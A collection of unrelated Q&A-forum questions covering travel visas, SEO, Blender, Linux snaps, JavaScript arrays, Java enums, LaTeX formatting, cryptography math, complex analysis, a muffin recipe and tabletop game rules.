I will a have a long layover of 13 hours in London Heathrow airport my ticket shows that I am arriving at terminal 2 from Cairo airport and departing from terminal 2 as well to Vancouver airport. if i need a transit visa will i be able to leave the airport and visit London with it?


Can I merge an old account into a new one?

I just remembered that I made an old account 2 years and 5 months ago. For some reason, I stopped using that login, and now I have my main account (the one I'm using to post this question). I went through the , and after confirming that I own both accounts, I came to a page stating:     Thank you for confirming ownership of your accounts. The account DJ McMayhem will be removed, and all rep and votes will be transferred to account user2874724 as a result of this merge. Please click OK to confirm.   I don't want to delete DJMcMayhem! That's the one I have been active on, with my correct email and settings and contributions and network profiles! Is there anyway I can merge the old one into my new one?


I read here  on the section "Which URLs should be put in a sitemap" that i should exclude Paginated Pages, i seached it on google and i did'nt found a person saying that i should'nt, i also don't found a person saying that i should, so i'm kinda confused.  The content from my paginated pages is unique and i'ts can only be accessable with the url , there's only one item in this page, and only the first item can be accessable with the url   I want to know: can i put these URL on sitemap?


On eevee engine, has anyone experienced the same?  It looks normal on Solid Viewport. This also happened in 2.82, but it was worse. Solid is basically transparent, while render is basically the same as current version, hence why i updated my blender.  My rig if anyone needs it : Ryzen 3 3200G, 16Gig RAM, RX 480 4GB. I swear it never runs anything else with a problem. Blender was working fine a few days ago too. Cycles works on render viewport, but material preview still bugged out.


Mobile Redirect vs Mobile Responsive for SEO

Given that I'm using  <link rel="alternate" href="http://m.example.com"> on my desktop site and <link rel="canonical" href="http://www.example.com"> on mobile, is there any SEO reason for me to replace the mobile site and desktop site with a single responsive site?  If I keep my separate mobile site, is there anything else I should be doing to ensure optimal SEO?  Secondly, what is the most SEO-friendly way of redirecting example.com to m.example.com when a mobile user requests it? Javascript? Apache? Something else? Or are all these redirection approaches the same for SEO?


All of sudden I noticed two new disks in my Ubuntu 16.04: /var/lib/snapd/snaps/core_5662.snap (deleted)  and /var/lib/snapd/snaps/chromium_506.snap (deleted)  .  What are they and why did they appear?  The first disk appeared several days ago. I noticed the second disk only today and shortly after that my Chromium crashed and all bookmarks and browsing history for the last 3 months disappeared. The new disks do not seem to have any Bookmarks files though.  Disks utility does not show any changes to the original actual disks. It looks as if someone has mounted two additional disks.


How to "push' a new item to the middle of an array?

I just completed section1, and noticed that there isn't a method covered on how to push an item to the a specific location of the array. For example, if I wanted the array to show  var suits = ["hearts","clubs","Brooks Brothers", "diamonds","spades"]   How would I be able to push in "Brooks Brothers" into the position [2] of the array suits, and shift the rest 1 down? Is there a built-in function in javascript similar to push that would enable me to do this?  I suppose I could always, with some diffculty:  function add (item, position){     var length = suits.length;     for(i = length -1; i >= position; i--){         suits[length] = suits[i];         length--;     };     suits[position] = item; };  add("Brooks Brothers",2) //to add it to the middle


M-W has the following definition for mixed metaphor:     a figure of speech combining inconsistent or incongruous metaphors   Hence a requirement is that a 'mixed metaphor' contains more than one metaphor.  :      "mixed metaphor" is more commonly used to describe the result of   accidentally combining two metaphors in a way that does not make sense   as a whole. "For me it was stormy in the great sea of life, but then I   came to a crossroads."   He does not claim that this is a necessary condition, and I'd agree.  I've just written in another thread:  ' "John is a real tiger" works, but "That lion is a real tiger" is best avoided.' Each of these two statements contains a single metaphor.   Does any definition of 'mixed metaphor' apply to the inappropriate (incongruous juxtaposing of tenor and obviously related vehicle) metaphor in the second sentence?


How to use private enums in other classes

this is my superclass where i created an private enum  public class Media {  private String Title; private enum Genre { Comedy, Horror, Action, Romance, Documentary, Thriller, Drama}  Genre genre;   public Media () {  } public Media(String t, Genre g){     this.Title=t;    genre=g;  }   now i wanna use this in an subclass   public class Movies extends Media{ private String regi; private int playtime;  public Movies(){  }  public Movies(String t, Genre g, String r, int playt) {     setTitle(t);     genre=g;     this.regi=r;     this.playtime=playt; }   but it is not working because its telling me that the enum is private when i send in the genre for the method of creating an Movie object? is it not possible to have a private enum and not use it in other classes or subclasses?


How can I modify vertical space between figure and caption?

\documentclass{article} \usepackage[draft]{graphicx} \begin{document} \begin{figure} \centering \setlength\fboxsep{124pt} \setlength\fboxrule{1pt} \fbox{\includegraphics{dummy}} \caption{Dummy caption} \end{figure} \end{document}   How can I increase vertical space between figure and caption?


How can I register to event that let me know when specific file is read in linux?  Can implement in c or in bash /shell script


Trying to create an underlined, wrapped link

I'm parsing user HTML to LaTeX templates. The HTML comes from a rich text editor, so of course the incoming HTML syntax can be almost anything. There's one case that breaks LaTeX that I have to handle.  text   This HTML, which I do not control, is parsed by a neutral parser into LaTeX templates. It might become something like:  \ul{\url{http://www.google.com}}   Due to the nature of the input, and the nature of the parser, I must assume I have some sort of underline tag wrapping some sort of link tag. This is a required constraint for answering this question. I do not have direct control over the input, and the parser is neutral. I can control what the parser outputs per per tag, such as  input can be compiled into \uline, but I cannot change the structure of the AST.  See what happens when I include the ulem package and wrap the link with \uline:  \usepackage{ulem}  Text: \uline{\url{http://test.com/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/}}   Now the link is underlined, but does not wrap:    This is despite the  saying "Unlike regular underlining, ulem allows line breaks".  I have also tried using the soul package and the \ul command:  \usepackage{soul}  Text: \ul{\url{http://test.com/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/uline-text/}}   Which chokes with the error:  ! Argument of \hyper@n@rmalise has an extra }. l.9 ...ne-text/uline-text/uline-text/uline-text/}}   I do not directly control the creation of the LaTeX source code, so I cannot directly modify the order of the tags. Please read this question carefully before voting. I am not asking how to underline a link tag.


How many times are the hands of a clock at $90$ degrees.

How many times are the hands of a clock at right angle in a day?    Initially, I worked this out to be $2$ times every hour. The answer came to $48$. However, in the cases of $3$ o'clock and $9$ o'clock, right angles happen only once. So the answer came out to be $44$. Is the approach correct?


About Primitive roots mod n in Diffie-Hellman

I'm on the study of Diffie-Hellman and its related math (multiplicative group of integers $\mod n$).  In some crypto papers and documents I've read that $g$ needs to be a primitive root mod $n$ ($g$ order in $G = \phi(p)$), but we actually use $g$ as a generator of a large subgroup of order $q$, where $q$ is a large prime extracted from $(n-1)/2$ ($p$ is a safe prime). So $g$ isn't a primitive root modulo $n$, because $g$ doesn't generate the entire group of $n-1$ but generates a subgroup of length $q$.  I understand that if a prime number (say 'x') divides the group's order then a generator exists whose order in G is 'x'. This is the current schema in the implementations of Diffie-Hellman (like I said before).  Example: $q = 1349363$; $p=2q+1=2698727$. So $\phi(p) = p-1$, $q|p-1$ so a generator $g$ exists whose order in $G$ is $q$.  And here's my opinion: I think this is used because doing modular exponentiation on big generators is slow, so we can use $2$ as a generator. It will generate a lower subgroup of elements, but if $q$ is big enough, it will increase the math performance without being insecure. Correct me if I'm wrong.  But I wish to clear the following doubts:  Why is not recommended to use a primitive root mod $n$ in Diffie-Hellman? Why do some crypto papers say that a primitive root modulo $n$ is needed?    According to  So a primitive root modulo $n$ (or a true generator) isn't chosen because its order in $G$ is composite. Thus it reveals information about the private exponent. Instead, a generator of a subgroup of order $q$ (factor of |G|) is used, where $q$ is prime and large enough. Is this correct?


Can anyone explain why $a^{b^c} = a^{(b^c)} \neq (a^b)^c = a^{(bc)}$

I'm so puzzled about this:   $$a^{b^c} = a^{(b^c)} \neq (a^b)^c = a^{(bc)}.$$  Why isn't $a^{b^c}$ equal to $a^{(bc)}$? Why is $a^{b^c}$ instead equal to $a^{(b^c)}$? And how is it possible that $(a^b)^c = a^{(bc)}$?  My mind is pretty much exploding from trying to understand this.


If I take Chandra, Fire of Kaladesh as commander (edh or tiny), is it still my commander when it's turned to planeswalker face? If so, can it be returned to command zone when it changes zone  (hand, graveyard, exile)?


Let R be a ring such that $a^2 = a$ , $\forall a$ $\in R$ . Prove that R is commutative.

Im not sure what to do for this one, any help would be appreciated.


The muffins were rock hard, what did I do wrong?

Here is the recipe I used, I did not mix it for long, as that make the muffins very hard.   The muffins were very hard, and had a bad after taste and smell. I missed adding some oil, but what else could be the reason ?   Red Millet Flour, 50 g Whole Wheat flour, 50 g Toasted Oat Bran, 40g Whole Green Mung Beans - Sprouted, 100 g Domino - Light Brown Sugar 50g Baking Soda, 2 tsp Salt, 1 Tablespoon Liquid Egg White, 4 eggs 100% Whey (Vanilla), 75g Chobani - Greek Yogurt - 0% Vanilla, 5.3 oz (small packet) Carrots - Raw, 1 cup, grated Bananas - Raw, 1 cup, mashed White, all-purpose, enriched, bleached, 40 g   Also I wanted to try yeast instead of baking soda, but due to eggs and other veggies I cannot let is rise overnight (any ideas ?). I was trying to make good protein muffins which are an ideal breakfast, grab one with a glass of milk and done!   They run approximately 160 calories per muffin 25g carbs, 1g fat, 12g protein.


How to achieve this below datatable to a generic list conversion ?  I am trying this:  List<Emp> lstEmp= new List<Emp>(from prod in MyDatatable.AsEnumerable<Emp>() select prod);


If someone attacks a swarm with a single-target spell while it's in a character's space, is that character also affected by the spell?

My players have walked into a Spider Lair and fought their first group of Spiderlings, or effectively a Swarm of Spiders from the MM.  I didn't realize until after the encounter that they have a reach of 0 for their attack and that they can move through and stay on a space taken up by another creature (which occurred to me is the only way it can actually make its attack.)  The party's going to fight more next session. What happens when a swarm is in a character's space attacking them, and someone casts a single-target spell against that swarm such as Hellish Rebuke or Fire Bolt? Since the swarm is invading that character's space (we assume because they are swarming around them or over them), is the character also potentially affected by the spell?


Prove that $\frac{1}{\sin^2 z } = \sum\limits_{n= -\infty} ^ {+\infty} \frac{1}{(z-\pi n)^2} $

I have the following problem:     Find the constants $c_n$ so that  $$ \frac{1}{\sin^2 z } = \sum_{n= -\infty} ^ {+\infty} \frac{c_n}{(z-\pi n)^2} $$ and the series converges uniformly on every bounded set after dropping finitely many terms. Justify all your claims. Hint: Use Liouville's theorem to prove the equality.     Let $c_n = 1 $ for all $n$.   Let $\displaystyle f(z) := \frac{1}{\sin^2 z}$ and $\displaystyle g(z) := \sum_{n= -\infty} ^ {+\infty} \frac{1}{(z-\pi n)^2} $.   Begin by showing that $h$ is an analytic function which converges uniformly on compact subsets of $\mathbb{C} \backslash \mathbb{Z}$.   Suppose $K$ is a compact set which contains no integers. Define  $$ \delta_n = \inf_{z \in K} |\pi-z/n| =\frac{1}{n} \inf_{z \in K} |\pi n-z|, $$ where the infimum exists because $K$ is compact. Also, compactness implies boundedness. Thus as $n \to \pm \infty$, we have $\delta_n \to \pi$.   Therefore, for sufficiently large $n$, we have $\delta_n > 2$, and  $$ \frac{1}{|z \pm n | ^2} \leq \frac{1}{\delta_n ^2 n^2} < \frac{1}{4n^2}. $$ By the Weierstrass M-test, $g$ converges absolutely uniformly on $K$. Since each term is analytic on $K$, we conclude that the series converges to an analytic function on $\mathbb{C} \backslash \mathbb{Z}$.   Clearly the only poles of $g(z)$ are at $\pi n$ for each integer $n$, with corresponding principal part $\frac{1}{(z-\pi n)^2}$.   For each integer $n$, we have $\sin^2 (\pi n) = \frac{d}{dz} \sin^2(\pi n) = 0$ and $\frac{d^2}{dz^z} \sin^2 (\pi n) \neq 0$, so $f(z) = 1/ \sin^2 (z)$ also has a pole of order two at each integer multiple of $\pi$, and no other poles. Furthermore, the principal part of $f(z)$ is, using the Laurent formulas and contour integration, equal to $\displaystyle \frac{1}{(z-n\pi)^2}$.   Thus $h(z) := f(z)-g(z)$ has removable singularities at the points $n\pi$.   Note that both $f$ and $g$ are periodic with period $\pi$. That is,  $$ f(z) = f(z +\pi) \quad \text{ and } \quad g(z) = g(z+\pi) \quad \text{ for all } z \in \mathbb{C}\backslash\mathbb{Z}. $$ Thus, since $h$ is bounded on the square $\{ z: |\operatorname{Re} z| < \pi, |\operatorname{Im} z |< \pi \}$ and periodic, we may conclude that $h$ is bounded on the set $\{ z: |\operatorname{Im} z |< \pi \}$. To show boundedness on the entire plane, we show that it holds on the vertical strip (with center removed)  $$ S = \{ z: 0 \leq \operatorname{Re} z \leq \pi, | \operatorname{Im} z | \geq \pi \}. $$  For $z$ in $S$, \begin{align*}  \sum_{n= -\infty} ^ {+ \infty} |z-\pi n | ^{-2}  &= \sum_{n= -\infty} ^ {+ \infty} \frac{1}{(x-\pi n)^2 + y^2}   &\leq \sum_{n= -\infty} ^ {+ \infty} \frac{1}{(\pi (n-1))^2 +y^2}   \end{align*} \begin{align*} & = \sum_{n= -\infty} ^ {+ \infty} \frac{1}{(\pi n)^2 +y^2}   &< 2\sum_{n=0} ^ {+ \infty} \frac{1}{(\pi n)^2 +y^2}   &\leq 2\sum_{n=0} ^ {+ \infty} \frac{1}{(\pi n)^2 +\pi ^2}.  \end{align*}  Thus $g$ is bounded on the set. It is easy to show that $f$ is also bounded on $S$. Thus the difference $f-g$ is also bounded. By the periodicity of $h$, the function is bounded on the entire plane, and is constant by Liouville's theorem.   I'm wondering if my reasoning so far is valid; and if so, how to show that the relevant constant is in fact zero.   Thanks.